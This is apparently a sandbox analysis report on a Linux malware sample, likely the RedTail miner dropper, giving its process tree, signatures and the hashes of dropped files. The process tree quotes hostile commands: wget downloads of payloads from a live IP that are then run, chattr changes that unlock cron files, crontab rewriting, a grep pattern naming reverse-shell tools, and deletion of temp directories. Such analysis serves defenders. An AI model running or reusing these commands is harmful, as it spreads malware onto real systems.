Analysis

  • max time kernel
    88s
  • max time network
    92s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/12/2024, 12:37

General

  • Target
    97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
  • Size 1KB
  • Sample241202-pth4vsyqhm
  • SHA256 de96a56c5508bb69c20f171a141263ebed92823eb3249dccb9db1ff350b37b31
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 19 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
    /tmp/97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
    1⤵
      PID:715
      • /bin/cat
        cat /proc/mounts
        2⤵
        • Reads runtime system information
        PID:720
      • /bin/grep
        grep noexec
        2⤵
          PID:721
        • /usr/bin/awk
          awk "{print \$2}"
          2⤵
          • Reads runtime system information
          PID:722
        • /usr/bin/whoami
          whoami
          2⤵
            PID:730
          • /usr/bin/find
            find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
            2⤵
            • Reads runtime system information
            PID:732
          • /bin/uname
            uname -mp
            2⤵
              PID:759
            • /usr/bin/touch
              touch .testfile
              2⤵
                PID:761
              • /bin/dd
                dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                2⤵
                  PID:764
                • /bin/rm
                  rm -rf .testfile .testfile2
                  2⤵
                    PID:765
                  • /usr/bin/wget
                    wget http://94.156.177.109/clean
                    2⤵
                      PID:767
                    • /bin/chmod
                      chmod +x clean
                      2⤵
                      • File and Directory Permissions Modification
                      PID:771
                    • /bin/sh
                      sh clean
                      2⤵
                      • Writes file to tmp directory
                      PID:772
                      • /bin/systemctl
                        systemctl disable c3pool_miner
                        3⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:774
                      • /bin/systemctl
                        systemctl stop c3pool_miner
                        3⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:776
                      • /usr/bin/chattr
                        chattr -ia /var/spool/cron/crontabs
                        3⤵
                        • Attempts to change immutable files
                        PID:777
                      • /usr/bin/chattr
                        chattr -ia /etc/crontab
                        3⤵
                        • Attempts to change immutable files
                        PID:779
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                        3⤵
                        • Attempts to change immutable files
                        PID:780
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/crontab
                        3⤵
                        • Reads runtime system information
                        PID:782
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.hourly
                        3⤵
                        • Attempts to change immutable files
                        PID:783
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily
                        3⤵
                        • Attempts to change immutable files
                        PID:784
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily/apt-compat
                        3⤵
                        • Attempts to change immutable files
                        PID:786
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                        3⤵
                        • Attempts to change immutable files
                        PID:787
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                        3⤵
                        • Reads runtime system information
                        PID:789
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily/bsdmainutils
                        3⤵
                        • Attempts to change immutable files
                        PID:790
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                        3⤵
                        • Attempts to change immutable files
                        PID:791
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                        3⤵
                        • Reads runtime system information
                        PID:793
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily/dpkg
                        3⤵
                        • Attempts to change immutable files
                        PID:795
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                        3⤵
                        • Attempts to change immutable files
                        PID:796
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/cron.daily/dpkg
                        3⤵
                        • Reads runtime system information
                        PID:797
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily/exim4-base
                        3⤵
                        • Attempts to change immutable files
                        PID:799
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                        3⤵
                        • Attempts to change immutable files
                        PID:800
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                        3⤵
                        • Reads runtime system information
                        PID:802
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily/logrotate
                        3⤵
                        • Attempts to change immutable files
                        PID:803
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                        3⤵
                        • Attempts to change immutable files
                        PID:804
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/cron.daily/logrotate
                        3⤵
                        • Reads runtime system information
                        PID:806
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.daily/passwd
                        3⤵
                        • Attempts to change immutable files
                        PID:808
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                        3⤵
                        • Attempts to change immutable files
                        PID:809
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/cron.daily/passwd
                        3⤵
                        • Reads runtime system information
                        PID:810
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.weekly
                        3⤵
                        • Attempts to change immutable files
                        PID:812
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.monthly
                        3⤵
                        • Attempts to change immutable files
                        PID:813
                      • /usr/bin/chattr
                        chattr -ia /etc/cron.d
                        3⤵
                        • Attempts to change immutable files
                        PID:815
                      • /usr/bin/chattr
                        chattr -ia /etc/anacrontab
                        3⤵
                        • Attempts to change immutable files
                        PID:816
                      • /bin/grep
                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                        3⤵
                        • Attempts to change immutable files
                        PID:817
                      • /bin/mv
                        mv /tmp/clean_crontab /etc/anacrontab
                        3⤵
                        • Reads runtime system information
                        PID:819
                      • /bin/rm
                        rm -rf /tmp/97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
                        3⤵
                          PID:821
                        • /bin/rm
                          rm -rf "/var/tmp/*"
                          3⤵
                            PID:822
                          • /bin/rm
                            rm -rf "/dev/shm/*"
                            3⤵
                              PID:823
                          • /bin/rm
                            rm -rf clean
                            2⤵
                              PID:824
                            • /bin/rm
                              rm -rf .redtail
                              2⤵
                                PID:825
                              • /bin/grep
                                grep -q x86_64
                                2⤵
                                  PID:828
                                • /bin/grep
                                  grep -q amd64
                                  2⤵
                                    PID:831
                                  • /bin/grep
                                    grep -q "i[3456]86"
                                    2⤵
                                      PID:833
                                    • /bin/grep
                                      grep -q armv8
                                      2⤵
                                        PID:835
                                      • /bin/grep
                                        grep -q aarch64
                                        2⤵
                                          PID:838
                                        • /bin/grep
                                          grep -q armv7
                                          2⤵
                                            PID:841
                                          • /usr/bin/wget
                                            wget http://94.156.177.109/x86_64
                                            2⤵
                                              PID:842
                                            • /bin/cat
                                              cat x86_64
                                              2⤵
                                                PID:859
                                              • /bin/chmod
                                                chmod +x .redtail
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:860
                                              • /.redtail
                                                ./.redtail
                                                2⤵
                                                • Executes dropped EXE
                                                PID:862
                                              • /bin/rm
                                                rm -rf x86_64
                                                2⤵
                                                  PID:864
                                                • /usr/bin/wget
                                                  wget http://94.156.177.109/i686
                                                  2⤵
                                                    PID:865
                                                  • /bin/cat
                                                    cat i686
                                                    2⤵
                                                      PID:866
                                                    • /bin/chmod
                                                      chmod +x .redtail
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:867
                                                    • /.redtail
                                                      ./.redtail
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:868
                                                    • /bin/rm
                                                      rm -rf i686
                                                      2⤵
                                                        PID:870
                                                      • /usr/bin/wget
                                                        wget http://94.156.177.109/aarch64
                                                        2⤵
                                                          PID:871
                                                        • /bin/cat
                                                          cat aarch64
                                                          2⤵
                                                            PID:872
                                                          • /bin/chmod
                                                            chmod +x .redtail
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:873
                                                          • /.redtail
                                                            ./.redtail
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:874
                                                          • /bin/rm
                                                            rm -rf aarch64
                                                            2⤵
                                                              PID:876
                                                            • /usr/bin/wget
                                                              wget http://94.156.177.109/arm7
                                                              2⤵
                                                                PID:877
                                                              • /bin/cat
                                                                cat arm7
                                                                2⤵
                                                                  PID:878
                                                                • /bin/chmod
                                                                  chmod +x .redtail
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:879
                                                                • /.redtail
                                                                  ./.redtail
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:880
                                                                • /bin/rm
                                                                  rm -rf arm7
                                                                  2⤵
                                                                    PID:882

                                                                Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      .testfile2

                                                                      • Path /.testfile2
                                                                      • Size 2.0MB
                                                                      • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                      • MD5 SHA1 SHA512 SSDEEP

                                                                      aarch64

                                                                      • Path /aarch64
                                                                      • Size 1.3MB
                                                                      • SHA256 992cb5a753697ee2642aa390f09326fcdb7fd59119053d6b1bdd35d47e62f472
                                                                      • MD5 SHA1 SHA512 SSDEEP

                                                                      arm7

                                                                      • Path /arm7
                                                                      • Size 1.1MB
                                                                      • SHA256 d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
                                                                      • MD5 SHA1 SHA512 SSDEEP

                                                                      clean

                                                                      • Path /clean
                                                                      • Size 795B
                                                                      • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                      • MD5 SHA1 SHA512

                                                                      i686

                                                                      • Path /i686
                                                                      • Size 1.5MB
                                                                      • SHA256 69dc9dd8065692ea262850b617c621e6c1361e9095a90b653b26e3901597f586
                                                                      • MD5 SHA1 SHA512 SSDEEP

                                                                      clean_crontab

                                                                      • Path /tmp/clean_crontab
                                                                      • Size 1KB
                                                                      • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                      • MD5 SHA1 SHA512

                                                                      clean_crontab

                                                                      • Path /tmp/clean_crontab
                                                                      • Size 3KB
                                                                      • SHA256 2565ab0cb86a8cb7fd37a0401ad22624da886b8df9130a5bd4b566f404130c14
                                                                      • MD5 SHA1 SHA512

                                                                      clean_crontab

                                                                      • Path /tmp/clean_crontab
                                                                      • Size 249B
                                                                      • SHA256 777a9112ee093d8683645b031eb6cfeb9ce77274f40575c48ff2054ea24114d1
                                                                      • MD5 SHA1 SHA512

                                                                      clean_crontab

                                                                      • Path /tmp/clean_crontab
                                                                      • Size 722B
                                                                      • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                      • MD5 SHA1 SHA512

                                                                      clean_crontab

                                                                      • Path /tmp/clean_crontab
                                                                      • Size 1KB
                                                                      • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                      • MD5 SHA1 SHA512

                                                                      clean_crontab

                                                                      • Path /tmp/clean_crontab
                                                                      • Size 279B
                                                                      • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                      • MD5 SHA1 SHA512

                                                                      x86_64

                                                                      • Path /x86_64
                                                                      • Size 1.6MB
                                                                      • SHA256 29f8524562c2436f42019e0fc473bd88584234c57979c7375c1ace3648784e4b
                                                                      • MD5 SHA1 SHA512 SSDEEP